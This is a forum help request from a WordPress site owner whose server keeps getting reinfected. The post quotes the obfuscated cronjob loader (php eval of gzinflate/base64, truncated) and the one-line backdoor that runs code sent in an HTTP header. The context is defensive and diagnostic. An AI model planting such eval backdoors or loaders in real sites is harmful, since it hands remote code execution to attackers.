I’ve been attacked by the modern cronjob/eval hack. If you didn’t hear about it:
Someone gets access to your WordPress through a security hole and then adds a cronjobs which looks like this:
/usr/bin/php -r ‘eval(gzinflate(base64_decode(“jVJrj5pAFP3ur5gmJmh20…”);’

This will create and/or alter your WordPress files with a line like this:

@eval($_SERVER[‘HTTP_2DB9C68’]);

Which then a hacker can use to execute any code he wants on your webserver by passing the given argument.

So, I’m a bit into WordPress and programming for years but please help me out here because I’m getting desperate gradually.
I cleaned this infect already so many times, it takes a while and then just gets infected again.
In my logs I don’t see anything “funny”. Maybe this is a post attack, which makes me absolutely unable to resolve where this attack is coming from.

What I already tried:

• Installing a fresh new WordPress instance on a new server. Copying over themes, plugins, content and DB.
• Installing NinjaFirewall (though we have modsecurity).
• Getting rid of all infected files with NinjaScanner.
• Deleting all cronjobs (over and over again).

Is there any way I could put some kind of trap for the next time someone creates a cronjob, or is there any way I could backtrack where the cronjob is coming from? Thank you so much for reading and for any kind of advice.